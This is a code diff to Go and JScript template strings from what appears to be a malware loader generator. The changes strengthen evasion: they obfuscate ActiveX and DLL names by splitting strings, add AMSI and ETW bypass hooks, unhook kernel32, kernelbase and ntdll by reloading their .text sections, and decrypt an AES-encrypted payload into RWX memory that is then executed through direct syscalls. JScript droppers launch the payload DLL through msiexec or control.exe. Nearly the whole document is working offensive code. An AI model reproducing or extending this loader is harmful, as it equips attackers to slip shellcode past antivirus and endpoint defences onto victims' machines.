{{.Variables.WshShell}}.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\" + {{.Variables.Application_Version}} + "\\{{.Variables.RegName}}\\Resiliency\\StartupItems\\");
@@ -173,15 +188,15 @@ func JS_Office_Sub() string {
func JS_Control_Sub() string {
return `
- var {{.Variables.objShell}} = new ActiveXObject("shell.application");
+ var {{.Variables.objShell}} = new ActiveXObject("sh"+"ell.applic"+"ation");
{{.Variables.objShell}}.ShellExecute({{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}", "", "", "", 1);
`
}
func JS_Msiexec_Sub() string {
return `
- var {{.Variables.objShell}} = new ActiveXObject("shell.application");
- {{.Variables.objShell}}.ShellExecute("msiexec", "/z "+{{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}", "", "", 1);
+ var {{.Variables.objShell}} = new ActiveXObject("she"+"ll.appl"+"ication");
+ {{.Variables.objShell}}.ShellExecute("C:\\Windows\\Sysnative\\msiexec.exe", "/z "+{{.Variables.dropPath}}+"\\{{.Variables.FileName}}{{.Variables.dllext}}", "", "", 1);
`
}
@@ -190,13 +205,13 @@ func JSfile() string {
try {
- var {{.Variables.fso}} = new ActiveXObject("Scripting.FileSystemObject");
+ var {{.Variables.fso}} = new ActiveXObject("Scripti"+"ng.FileSys"+"temObject");
var {{.Variables.dropPath}} = {{.Variables.fso}}.GetSpecialFolder(2);
var {{.Variables.base6411}}={ {{.Variables.characters}}:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function({{.Variables.atest}}){ {{.Variables.base6411}}.{{.Variables.characters}};var {{.Variables.rtest}}="",{{.Variables.ctest}}=0;do{var {{.Variables.etest}}={{.Variables.atest}}.charCodeAt({{.Variables.ctest}}++),{{.Variables.ttest}}={{.Variables.atest}}.charCodeAt(c++),{{.Variables.htest}}=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,{{.Variables.rtest}}+={{.Variables.base6411}}.{{.Variables.characters}}.charAt(s)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(A)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(o)+{{.Variables.base6411}}.{{.Variables.characters}}.charAt(B)}while(c>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return {{.Variables.rtest}}=h.join("")}
+ function {{.Variables.Magic1}}({{.Variables.rtest}}){if(!/^[a-z0-9+/]+={0,2}$/i.test({{.Variables.rtest}})||{{.Variables.rtest}}.length%4!=0)throw Error("failed");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<{{.Variables.rtest}}.length;d+=4)t=(a=f.indexOf({{.Variables.rtest}}.charAt(d))<<18|f.indexOf({{.Variables.rtest}}.charAt(d+1))<<12|(o=f.indexOf({{.Variables.rtest}}.charAt(d+2)))<<6|(i=f.indexOf({{.Variables.rtest}}.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return {{.Variables.rtest}}=h.join("")}
function {{.Variables.binaryWriter}}({{.Variables.res1}},{{.Variables.filename1}})
- {var {{.Variables.base6411}}decoded=Magic1({{.Variables.res1}});var {{.Variables.TextStream11}}=new ActiveXObject('ADODB.Stream');{{.Variables.TextStream11}}.Type=2;{{.Variables.TextStream11}}.charSet='iso-8859-1';{{.Variables.TextStream11}}.Open();{{.Variables.TextStream11}}.WriteText({{.Variables.base6411}}decoded);var {{.Variables.BinaryStream}}=new ActiveXObject('ADODB.Stream');{{.Variables.BinaryStream}}.Type=1;{{.Variables.BinaryStream}}.Open();{{.Variables.TextStream11}}.Position=0;{{.Variables.TextStream11}}.CopyTo({{.Variables.BinaryStream}});{{.Variables.BinaryStream}}.SaveToFile({{.Variables.filename1}},2);{{.Variables.BinaryStream}}.Close()}
+ {var {{.Variables.base6411}}decoded={{.Variables.Magic1}}({{.Variables.res1}});var {{.Variables.TextStream11}}=new ActiveXObject('A'+'D'+'O'+'D'+'B'+'.'+'S'+'t'+'r'+'e'+'a'+'m');{{.Variables.TextStream11}}.Type=2;{{.Variables.TextStream11}}.charSet='iso-8859-1';{{.Variables.TextStream11}}.Open();{{.Variables.TextStream11}}.WriteText({{.Variables.base6411}}decoded);var {{.Variables.BinaryStream}}=new ActiveXObject('A'+'D'+'O'+'D'+'B'+'.'+'S'+'t'+'r'+'e'+'a'+'m');{{.Variables.BinaryStream}}.Type=1;{{.Variables.BinaryStream}}.Open();{{.Variables.TextStream11}}.Position=0;{{.Variables.TextStream11}}.CopyTo({{.Variables.BinaryStream}});{{.Variables.BinaryStream}}.SaveToFile({{.Variables.filename1}},2);{{.Variables.BinaryStream}}.Close()}
{{.Variables.dll}}
@@ -260,6 +275,39 @@ func WS_JS() string {
var {{.Variables.ax}} = new ActiveXObject("Microsoft.Windows.ActCtx");
{{.Variables.ax}}.ManifestText = {{.Variables.manifest}};
var {{.Variables.Execute}} = {{.Variables.ax}}.CreateObject("{{.Variables.progid}}");
+`
+}
+
+func Decrypt_Function() string {
+ return `
+func {{.Variables.PKCS5UnPadding}}({{.Variables.src}} []byte) []byte {
+ {{.Variables.length}} := len({{.Variables.src}})
+ {{.Variables.unpadding}} := int({{.Variables.src}}[{{.Variables.length}}-1])
+ return {{.Variables.src}}[:({{.Variables.length}} - {{.Variables.unpadding}} )]
+ }
+
+func {{.Variables.FuncName}}() []byte {
+ {{.Variables.ciphertext}}
+ {{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
+
+ {{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
+ {{.Variables.viv}}, _ := base64.StdEncoding.DecodeString("{{.Variables.iv}}")
+
+ {{.Variables.block}}, _ := aes.NewCipher({{.Variables.vkey}})
+
+ {{.Variables.decrypted}} := make([]byte, len({{.Variables.vciphertext}}))
+ {{.Variables.mode}} := cipher.NewCBCDecrypter({{.Variables.block}}, {{.Variables.viv}})
+ {{.Variables.mode}}.CryptBlocks({{.Variables.decrypted}}, {{.Variables.vciphertext}})
+ {{.Variables.stuff}} := {{.Variables.PKCS5UnPadding}}({{.Variables.decrypted}})
+
+ {{.Variables.rawdata}} := (string({{.Variables.stuff}}))
+ {{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
+ {{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
+ return {{.Variables.raw_bin}}
+}
+
+
+
`
}
@@ -270,34 +318,33 @@ func DLL_Refresher() string {
import "C"
import (
- "crypto/aes"
- "crypto/cipher"
"debug/pe"
+ {{.Variables.HEX_Import}}
"encoding/base64"
- "encoding/hex"
"[loader]/[loader]"
- "os"
"io/ioutil"
"strconv"
"syscall"
"unsafe"
-
+ {{.Variables.SandboxOS}}
+
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
- var (
+
+ const (
+ {{.Variables.PROCESS_ALL_ACCESS}}= 0x1F0FFF
+ )
+ var _ unsafe.Pointer
+ var (
{{.Variables.customsyscall}} uint16
{{.Variables.customsyscallVP}} uint16
{{.Variables.number}} int = {{.Variables.b64number}}
)
- func {{.Variables.PKCS5UnPadding}}({{.Variables.src}} []byte) []byte {
- {{.Variables.length}} := len({{.Variables.src}})
- {{.Variables.unpadding}} := int({{.Variables.src}}[{{.Variables.length}}-1])
- return {{.Variables.src}}[:({{.Variables.length}} - {{.Variables.unpadding}} )]
- }
+
{{.Variables.Sandboxfunction}}
@@ -316,75 +363,41 @@ func DLL_Refresher() string {
func {{.Variables.loader}}() {
- err := {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernel32}}"))
+ err := {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
if err != nil {
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernelbase}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', 'b', 'a', 's', 'r', '.', 'd', 'l', 'l'}))
if err != nil {
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.ntdll}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
if err != nil {
}
}
-
- func {{.Variables.decode}}({{.Variables.b64}} string,) string {
- var {{.Variables.decoded}} []byte
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString({{.Variables.b64}})
- {{.Variables.sum}} := 1
- for i := 1; i < {{.Variables.number}}; i++ {
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString(string({{.Variables.decoded}}))
- {{.Variables.sum}} += i
- }
- return string({{.Variables.decoded}})
-
- }
+ {{.Variables.WriteProcessMemory_Function}}
{{.Variables.ETW_Function}}
+ {{.Variables.AMSI_Function}}
+
func main() {
}
{{.Variables.ExportName}}
- //export Start
- func Start() {
+ //export Run
+ func Run() {
{{.Variables.Sandbox}}
{{.Variables.ETW}}
+ {{.Variables.AMSI}}
{{.Variables.Version}} := {{.Variables.Versionfunc}}()
if {{.Variables.Version}} == "10.0" {
{{.Variables.loader}}()
}
- {{.Variables.ETW}}
- {{.Variables.ciphertext}}
- {{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
-
- {{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
- {{.Variables.viv}}, _ := base64.StdEncoding.DecodeString("{{.Variables.iv}}")
-
- {{.Variables.block}}, err := aes.NewCipher({{.Variables.vkey}})
- if err != nil {
- return
- }
-
-
- if len({{.Variables.vciphertext}}) < aes.BlockSize {
- return
- }
-
- {{.Variables.decrypted}} := make([]byte, len({{.Variables.vciphertext}}))
- {{.Variables.mode}} := cipher.NewCBCDecrypter({{.Variables.block}}, {{.Variables.viv}})
- {{.Variables.mode}}.CryptBlocks({{.Variables.decrypted}}, {{.Variables.vciphertext}})
- {{.Variables.stuff}} := {{.Variables.PKCS5UnPadding}}({{.Variables.decrypted}})
-
- {{.Variables.rawdata}} := (string({{.Variables.stuff}}))
- {{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
- {{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
- os.Stdout, _ = os.Open(os.DevNull)
-
-
+ {{.Variables.ETW}}
+ {{.Variables.raw_bin}} := [loader].{{.Variables.FuncName}}()
var {{.Variables.phandle}} uint64
var {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.alloctype}}, {{.Variables.protect}} uintptr
{{.Variables.phandle}} = 0xffffffffffffffff
@@ -397,23 +410,10 @@ func DLL_Refresher() string {
for x, y := range []byte({{.Variables.raw_bin}}) {
{{.Variables.buff}} [x] = y
}
-
- var {{.Variables.oldfartcodeperms}} uintptr
-
- {{.Variables.runfunc}}, _ := [NtProtectVirtualMemory](
- {{.Variables.customsyscallVP}},
- uintptr({{.Variables.phandle}}),
- (*uintptr)(unsafe.Pointer(&{{.Variables.ptr}})),
- &{{.Variables.regionsize}},
- syscall.PAGE_EXECUTE_READ,
- &{{.Variables.oldfartcodeperms}},
- )
- if {{.Variables.runfunc}} != 0 {
- }
-
-
- syscall.Syscall({{.Variables.ptr}}, 0, 0, 0, 0)
+ syscall.Syscall({{.Variables.ptr}}, 0, 0, 0, 0,)
+
}
+
func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
{{.Variables.dll}}, {{.Variables.error}} := ioutil.ReadFile({{.Variables.DLLname}})
if {{.Variables.error}} != nil {
@@ -423,7 +423,7 @@ func DLL_Refresher() string {
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
- {{.Variables.x}} := {{.Variables.file}}.Section(".text")
+ {{.Variables.x}} := {{.Variables.file}}.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
{{.Variables.bytes}} := {{.Variables.dll}}[{{.Variables.x}}.Offset:{{.Variables.x}}.Size]
{{.Variables.loaddll}}, {{.Variables.error}} := windows.LoadDLL({{.Variables.DLLname}})
if {{.Variables.error}} != nil {
@@ -432,53 +432,35 @@ func DLL_Refresher() string {
{{.Variables.handle}} := {{.Variables.loaddll}}.Handle
{{.Variables.dllBase}} := uintptr({{.Variables.handle}})
{{.Variables.dllOffset}} := uint({{.Variables.dllBase}}) + uint({{.Variables.x}}.VirtualAddress)
- var {{.Variables.oldfartcodeperms}} uintptr
{{.Variables.regionsize}} := uintptr(len({{.Variables.bytes}}))
{{.Variables.handlez}} := uintptr(0xffffffffffffffff)
- {{.Variables.runfunc}}, _ := [NtProtectVirtualMemory](
+ var {{.Variables.oldfartcodeperms}} uintptr
+
+ [loader].[NtProtectVirtualMemoryprep](
{{.Variables.customsyscallVP}},
{{.Variables.handlez}},
(*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
&{{.Variables.regionsize}},
- syscall.PAGE_EXECUTE_READWRITE,
+ 0x40,
&{{.Variables.oldfartcodeperms}},
)
- if {{.Variables.runfunc}} != 0 {
- }
for i := 0; i < len({{.Variables.bytes}}); i++ {
{{.Variables.loc}} := uintptr({{.Variables.dllOffset}} + uint(i))
{{.Variables.mem}} := (*[1]byte)(unsafe.Pointer({{.Variables.loc}}))
(*{{.Variables.mem}})[0] = {{.Variables.bytes}}[i]
}
-
- {{.Variables.runfunc}}, _ = [NtProtectVirtualMemory](
+ [loader].[NtProtectVirtualMemoryprep](
{{.Variables.customsyscallVP}},
{{.Variables.handlez}},
(*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
&{{.Variables.regionsize}},
- {{.Variables.oldfartcodeperms}},
+ 0x20,
&{{.Variables.oldfartcodeperms}},
)
- if {{.Variables.runfunc}} != 0 {
- }
-
return nil
}
- func [NtProtectVirtualMemory]({{.Variables.sysid}} uint16, {{.Variables.processHandle}} uintptr, {{.Variables.baseAddress}}, {{.Variables.regionSize}} *uintptr, {{.Variables.NewProtect}} uintptr, {{.Variables.oldprotect}} *uintptr) (uint32, error) {
-
- return [loader].[NtProtectVirtualMemory](
- {{.Variables.sysid}},
- {{.Variables.processHandle}},
- uintptr(unsafe.Pointer({{.Variables.baseAddress}})),
- uintptr(unsafe.Pointer({{.Variables.regionSize}})),
- {{.Variables.NewProtect}},
- uintptr(unsafe.Pointer({{.Variables.oldprotect}})),
- )
- }
-
-
`
}
@@ -486,16 +468,12 @@ func Binary() string {
return `
package main
- import "C"
-
import (
- "crypto/aes"
- "crypto/cipher"
"debug/pe"
"encoding/base64"
- "encoding/hex"
"time"
"[loader]/[loader]"
+ {{.Variables.HEX_Import}}
{{.Variables.DebugImport}}
"io/ioutil"
"syscall"
@@ -515,38 +493,30 @@ func Binary() string {
{{.Variables.PROCESS_ALL_ACCESS}}= 0x1F0FFF
)
var _ unsafe.Pointer
- const (
- {{.Variables.errnoERROR_IO_PENDING}}= 997
- )
var (
- {{.Variables.errERROR_IO_PENDING}} error = syscall.Errno({{.Variables.errnoERROR_IO_PENDING}})
+
{{.Variables.customsyscall}} uint16
+ {{.Variables.customsyscallVP}} uint16
{{.Variables.number}} int = {{.Variables.b64number}}
)
-
+
{{.Variables.Sandboxfunction}}
- func {{.Variables.PKCS5UnPadding}}({{.Variables.src}} []byte) []byte {
- {{.Variables.length}} := len({{.Variables.src}})
- {{.Variables.unpadding}} := int({{.Variables.src}}[{{.Variables.length}}-1])
- return {{.Variables.src}}[:({{.Variables.length}} - {{.Variables.unpadding}} )]
- }
-
func {{.Variables.Console}}(show bool) {
- {{.Variables.getWin}} := syscall.NewLazyDLL("kernel32.dll").NewProc({{.Variables.decode}}("{{.Variables.GetConsoleWindowName}}"))
- {{.Variables.showWin}} := syscall.NewLazyDLL("user32.dll").NewProc({{.Variables.decode}}("{{.Variables.ShowWindowName}}"))
+ {{.Variables.getWin}} := syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.GetConsoleWindowName}}"))
+ {{.Variables.showWin}} := syscall.NewLazyDLL(string([]byte{'u', 's', 'e', 'r', '3', '2',})).NewProc({{.Variables.decode}}("{{.Variables.ShowWindowName}}"))
{{.Variables.hwnd}}, _, _ := {{.Variables.getWin}}.Call()
if {{.Variables.hwnd}} == 0 {
- return
+ return
}
if show {
- var {{.Variables.SW_RESTORE}} uintptr = 9
- {{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_RESTORE}})
+ var {{.Variables.SW_RESTORE}} uintptr = 9
+ {{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_RESTORE}})
} else {
- var {{.Variables.SW_HIDE}} uintptr = 0
- {{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_HIDE}})
+ var {{.Variables.SW_HIDE}} uintptr = 0
+ {{.Variables.showWin}}.Call({{.Variables.hwnd}}, {{.Variables.SW_HIDE}})
}
}
@@ -564,28 +534,22 @@ func Binary() string {
}
+ {{.Variables.WriteProcessMemory_Function}}
+
{{.Variables.ETW_Function}}
- func errnoErr(e syscall.Errno) error {
- switch e {
- case 0:
- return nil
- case {{.Variables.errnoERROR_IO_PENDING}}:
- return {{.Variables.errERROR_IO_PENDING}}
- }
- return e
- }
+ {{.Variables.AMSI_Function}}
func {{.Variables.loader}}() {
- err := {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernel32}}"))
+ err := {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
if err != nil {
{{.Variables.RefreshPE}}
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.kernelbase}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'k', 'e', 'r', 'n', 'e', 'l', 'b', 'a', 's', 'r', '.', 'd', 'l', 'l'}))
if err != nil {
{{.Variables.RefreshPE}}
}
- err = {{.Variables.Reloading}}({{.Variables.decode}}("{{.Variables.ntdll}}"))
+ err = {{.Variables.Reloading}}(string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}))
if err != nil {
{{.Variables.RefreshPE}}
}
@@ -593,22 +557,11 @@ func Binary() string {
}
-
- func {{.Variables.decode}}({{.Variables.b64}} string,) string {
- var {{.Variables.decoded}} []byte
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString({{.Variables.b64}})
- {{.Variables.sum}} := 1
- for i := 1; i < {{.Variables.number}}; i++ {
- {{.Variables.decoded}}, _ = base64.StdEncoding.DecodeString(string({{.Variables.decoded}}))
- {{.Variables.sum}} += i
- }
- return string({{.Variables.decoded}})
-
- }
func main() {
{{.Variables.Sandbox}}
{{.Variables.ETW}}
+ {{.Variables.AMSI}}
time.Sleep({{.Variables.SleepSecond}} * time.Millisecond)
{{.Variables.Version}} := {{.Variables.Versionfunc}}()
if {{.Variables.Version}} == "10.0" {
@@ -617,68 +570,21 @@ func Binary() string {
{{.Variables.ETW}}
{{.Variables.hide}}
{{.Variables.Pointer}}
- {{.Variables.ptr}} := func() {
- }
- {{.Variables.ciphertext}}
- {{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
- {{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
- {{.Variables.viv}}, _ := base64.StdEncoding.DecodeString("{{.Variables.iv}}")
-
- {{.Variables.block}}, err := aes.NewCipher({{.Variables.vkey}})
- if err != nil {
- return
- }
-
-
- if len({{.Variables.vciphertext}}) < aes.BlockSize {
- return
- }
-
- {{.Variables.decrypted}} := make([]byte, len({{.Variables.vciphertext}}))
- {{.Variables.mode}} := cipher.NewCBCDecrypter({{.Variables.block}}, {{.Variables.viv}})
- {{.Variables.mode}}.CryptBlocks({{.Variables.decrypted}}, {{.Variables.vciphertext}})
- {{.Variables.stuff}} := {{.Variables.PKCS5UnPadding}}({{.Variables.decrypted}})
-
- {{.Variables.rawdata}} := (string({{.Variables.stuff}}))
- {{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
- {{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
+ {{.Variables.raw_bin}} := [loader].{{.Variables.FuncName}}()
{{.Variables.ShellcodeString}}
-
- var {{.Variables.oldptrperms}} uintptr
- {{.Variables.handle}} := uintptr(0xffffffffffffffff)
- {{.Variables.regionsize}} := uintptr(len({{.Variables.raw_bin}}))
-
- {{.Variables.runfunc}}, _ := [NtProtectVirtualMemory](
- {{.Variables.customsyscall}},
- {{.Variables.handle}},
- (*uintptr)(unsafe.Pointer(&{{.Variables.ptr}})),
- &{{.Variables.regionsize}},
- syscall.PAGE_EXECUTE_READWRITE,
- &{{.Variables.oldptrperms}},
- )
- if {{.Variables.runfunc}} != 0 {
+ var {{.Variables.phandle}} uint64
+ var {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.alloctype}}, {{.Variables.protect}} uintptr
+ {{.Variables.phandle}} = 0xffffffffffffffff
+ {{.Variables.regionsizep}} := len({{.Variables.raw_bin}})
+ {{.Variables.regionsize}} := uintptr({{.Variables.regionsizep}})
+ {{.Variables.protect}} = 0x40
+ {{.Variables.alloctype}} = 0x3000
+ {{.Variables.ptr}} := [loader].[Allocate]({{.Variables.customsyscall}}, {{.Variables.phandle}}, {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.regionsize}}, {{.Variables.alloctype}}, {{.Variables.protect}}, 0)
+ {{.Variables.buff}} := (*[1890000]byte)(unsafe.Pointer({{.Variables.ptr}}))
+ for x, y := range []byte({{.Variables.raw_bin}}) {
+ {{.Variables.buff}} [x] = y
}
- {{.Variables.CopyPointer}}
-
- *(**uintptr)(unsafe.Pointer(&{{.Variables.ptr}})) = (*uintptr)(unsafe.Pointer(&{{.Variables.raw_bin}}))
-
- {{.Variables.OverwrittenShellcode}}
- var {{.Variables.oldfartcodeperms}} uintptr
-
- {{.Variables.OverWrittenPoint}}
-
- {{.Variables.runfunc}}, _ = [NtProtectVirtualMemory](
- {{.Variables.customsyscall}},
- {{.Variables.handle}},
- (*uintptr)(unsafe.Pointer(&{{.Variables.raw_bin}})),
- &{{.Variables.regionsize}},
- syscall.PAGE_EXECUTE_READWRITE,
- &{{.Variables.oldfartcodeperms}},
- )
- if {{.Variables.runfunc}} != 0 {
- }
-
- syscall.Syscall(**(**uintptr)(unsafe.Pointer(&{{.Variables.ptr}})),0, 0, 0, 0,)
+ syscall.Syscall({{.Variables.ptr}}, 0, 0, 0, 0,)
}
func {{.Variables.Reloading}}({{.Variables.DLLname}} string) error {
@@ -691,7 +597,7 @@ func Binary() string {
if {{.Variables.error}} != nil {
return {{.Variables.error}}
}
- {{.Variables.x}} := {{.Variables.file}}.Section(".text")
+ {{.Variables.x}} := {{.Variables.file}}.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
{{.Variables.bytes}} := {{.Variables.dll}}[{{.Variables.x}}.Offset:{{.Variables.x}}.Size]
{{.Variables.loaddll}}, {{.Variables.error}} := windows.LoadDLL({{.Variables.DLLname}})
if {{.Variables.error}} != nil {
@@ -700,52 +606,35 @@ func Binary() string {
{{.Variables.handle}} := {{.Variables.loaddll}}.Handle
{{.Variables.dllBase}} := uintptr({{.Variables.handle}})
{{.Variables.dllOffset}} := uint({{.Variables.dllBase}}) + uint({{.Variables.x}}.VirtualAddress)
- var {{.Variables.oldfartcodeperms}} uintptr
{{.Variables.regionsize}} := uintptr(len({{.Variables.bytes}}))
{{.Variables.handlez}} := uintptr(0xffffffffffffffff)
- {{.Variables.runfunc}}, _ := [NtProtectVirtualMemory](
- {{.Variables.customsyscall}},
+ var {{.Variables.oldfartcodeperms}} uintptr
+
+ {{.Variables.runfunc}}, _ := [loader].[NtProtectVirtualMemoryprep](
+ {{.Variables.customsyscallVP}},
{{.Variables.handlez}},
(*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
&{{.Variables.regionsize}},
- syscall.PAGE_EXECUTE_READWRITE,
+ 0x40,
&{{.Variables.oldfartcodeperms}},
)
if {{.Variables.runfunc}} != 0 {
}
-
-
for i := 0; i < len({{.Variables.bytes}}); i++ {
{{.Variables.loc}} := uintptr({{.Variables.dllOffset}} + uint(i))
{{.Variables.mem}} := (*[1]byte)(unsafe.Pointer({{.Variables.loc}}))
(*{{.Variables.mem}})[0] = {{.Variables.bytes}}[i]
}
-
- {{.Variables.runfunc}}, _ = [NtProtectVirtualMemory](
- {{.Variables.customsyscall}},
+ {{.Variables.runfunc}}, _ = [loader].[NtProtectVirtualMemoryprep](
+ {{.Variables.customsyscallVP}},
{{.Variables.handlez}},
(*uintptr)(unsafe.Pointer(&{{.Variables.dllOffset}})),
&{{.Variables.regionsize}},
{{.Variables.oldfartcodeperms}},
&{{.Variables.oldfartcodeperms}},
)
- if {{.Variables.runfunc}} != 0 {
- }
-
return nil
}
- func [NtProtectVirtualMemory]({{.Variables.sysid}} uint16, {{.Variables.processHandle}} uintptr, {{.Variables.baseAddress}}, {{.Variables.regionSize}} *uintptr, {{.Variables.NewProtect}} uintptr, {{.Variables.oldprotect}} *uintptr) (uint32, error) {
-
- return [loader].[NtProtectVirtualMemory](
- {{.Variables.sysid}},
- {{.Variables.processHandle}},
- uintptr(unsafe.Pointer({{.Variables.baseAddress}})),
- uintptr(unsafe.Pointer({{.Variables.regionSize}})),
- {{.Variables.NewProtect}},
- uintptr(unsafe.Pointer({{.Variables.oldprotect}})),
- )
- }
-
`
}
@@ -756,30 +645,29 @@ func DLL() string {
import "C"
import (
- "crypto/aes"
- "crypto/cipher"
"encoding/base64"
"encoding/hex"
"[loader]/[loader]"
- "os"
"strconv"
"syscall"
"unsafe"
-
+ {{.Variables.SandboxOS}}
+ "golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
- var (
+ const (
+ {{.Variables.PROCESS_ALL_ACCESS}}= 0x1F0FFF
+ )
+ var _ unsafe.Pointer
+ var (
{{.Variables.customsyscall}} uint16
+ {{.Variables.customsyscallVP}} uint16
+ {{.Variables.number}} int = {{.Variables.b64number}}
)
- func {{.Variables.PKCS5UnPadding}}({{.Variables.src}} []byte) []byte {
- {{.Variables.length}} := len({{.Variables.src}})
- {{.Variables.unpadding}} := int({{.Variables.src}}[{{.Variables.length}}-1])
- return {{.Variables.src}}[:({{.Variables.length}} - {{.Variables.unpadding}} )]
- }
-
+
{{.Variables.Sandboxfunction}}
func {{.Variables.Versionfunc}}() {
@@ -795,6 +683,11 @@ func DLL() string {
}
+ {{.Variables.WriteProcessMemory_Function}}
+
+ {{.Variables.ETW_Function}}
+
+ {{.Variables.AMSI_Function}}
func main() {
}
@@ -802,37 +695,13 @@ func DLL() string {
{{.Variables.ExportName}}
- //export Start
- func Start() {
+ //export Run
+ func Run() {
{{.Variables.Sandbox}}
{{.Variables.Versionfunc}}()
{{.Variables.ETW}}
- {{.Variables.ciphertext}}
- {{.Variables.vciphertext}}, _ := base64.StdEncoding.DecodeString({{.Variables.fullciphertext}})
- {{.Variables.vkey}}, _ := base64.StdEncoding.DecodeString("{{.Variables.key}}")
- {{.Variables.viv}}, _ := base64.StdEncoding.DecodeString("{{.Variables.iv}}")
-
- {{.Variables.block}}, err := aes.NewCipher({{.Variables.vkey}})
- if err != nil {
- return
- }
-
-
- if len({{.Variables.vciphertext}}) < aes.BlockSize {
- return
- }
-
- {{.Variables.decrypted}} := make([]byte, len({{.Variables.vciphertext}}))
- {{.Variables.mode}} := cipher.NewCBCDecrypter({{.Variables.block}}, {{.Variables.viv}})
- {{.Variables.mode}}.CryptBlocks({{.Variables.decrypted}}, {{.Variables.vciphertext}})
- {{.Variables.stuff}} := {{.Variables.PKCS5UnPadding}}({{.Variables.decrypted}})
-
- {{.Variables.rawdata}} := (string({{.Variables.stuff}}))
- {{.Variables.hexdata}}, _ := base64.StdEncoding.DecodeString({{.Variables.rawdata}})
- {{.Variables.raw_bin}}, _ := hex.DecodeString(string({{.Variables.hexdata}}))
- os.Stdout, _ = os.Open(os.DevNull)
-
-
+ {{.Variables.AMSI}}
+ {{.Variables.raw_bin}} := [loader].{{.Variables.FuncName}}()
var {{.Variables.phandle}} uint64
var {{.Variables.baseA}}, {{.Variables.zerob}}, {{.Variables.alloctype}}, {{.Variables.protect}} uintptr
{{.Variables.phandle}} = 0xffffffffffffffff
